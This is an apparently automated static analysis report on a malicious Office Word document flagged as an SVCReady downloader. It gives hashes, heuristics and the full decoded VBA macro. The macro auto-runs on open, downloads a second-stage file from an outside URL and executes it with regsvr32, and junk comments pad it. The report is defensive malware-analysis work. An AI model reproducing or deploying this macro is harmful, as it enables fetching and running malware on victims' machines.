Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7f2fa5e8de6a3d91…

MALICIOUS

Office (OOXML)

147.8 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 51d3dbc377be322144ebcbd5d4807f0e SHA-1: 6faf0b17ba708e8c29bbbc1b52798456ac58d170 SHA-256: 7f2fa5e8de6a3d91a78c091f921a258aefe7c0737198c8d13c7663c453d4dbf1
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro. The autoopen macro executes URLDownloadToFile to download a file named 'w8.tmp' from 'http://e9bja.com/iz5/yaca.php?l=kpt5.cab'. This indicates the document's purpose is to download and execute a second-stage payload, likely for further malicious activity.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Wayside lifestyle
    Call URLDownloadToFile(0, "http://e9bja.com/iz5/yaca.php?l=kpt5.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "w8.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://e9bja.com/iz5/yaca.php?l=kpt5.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2543 bytes
SHA-256: ffedd260743b1dc912e1b6852d6502648a1d201f1d35320be5fdacad469f7d09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "w8.tmp"
Sub autoopen()

' Yeh halfway yrs emanation
' Tribe casino
' Impact ballet
' Condition

' Losses latina cheque lewd ass nhl
' Poultry requiem realist mean
' Face accessing benjamin toward purpose
' Information wives hyundai clinics abounded
' Nicole uterus tale
' Wayside lifestyle
Call URLDownloadToFile(0, "http://e9bja.com/iz5/yaca.php?l=kpt5.cab", Vw, 0, 0)

' Mary tripoli reprints
' Minerva partnerships berlin citysearch
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Harassment bridges queensland
' Increases retrieved
' Scrimmage levels bracelet compressed abbess
' Recurring richard

' Callous umbrage providence s
' Defray
' Marriage citizen conspire profligate
' Stunning proposition conscripts ramble inclusion
' Innocent volleyball repentant moscow

' Portraits rivers illegal
' Pair cram liver
' Wood regardless films mozambique
' Thirty-one investigated

' Originate calgary explosion montgomery celebrities
' Trestle sammy laboratories slowly spiral ween lancet
' Resources wr bygones zones
' Trojan outlay stark
' Cocktail distances power
' Frivolity hindu

' Honeysuckle
' Hindrance days virginia shrewdly nevertheless
' Vouchsafe despondent watchword conceited embody
' Detriment measuring rodney scientifically

' Confidentially undivided furniture secret
' Cd abominably springfield
' Signing mingo southeast venison

' Cistern medium prizes award plots
' Unemployment inflated
' Eddie visible
' Abolishing valium evil detection tucker years
' Mick times uv balls camera lives

' Exposed verger cultural comp
' Uplifting
' Trio birthday
Dim lX As New WshShell

' Rape candy under
' Atrium plays coin egregious
lX.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal kx As LongPtr, ByVal Pq As String, ByVal Ic As String, ByVal c3 As LongPtr, ByVal Xy As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal kx As Long, ByVal Pq As String, ByVal Ic As String, ByVal c3 As Long, ByVal Xy As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: c2bd00ec2eafd3d8ea360496587af02e7e694d645bfb5a1ba3b8f46f871eb5f6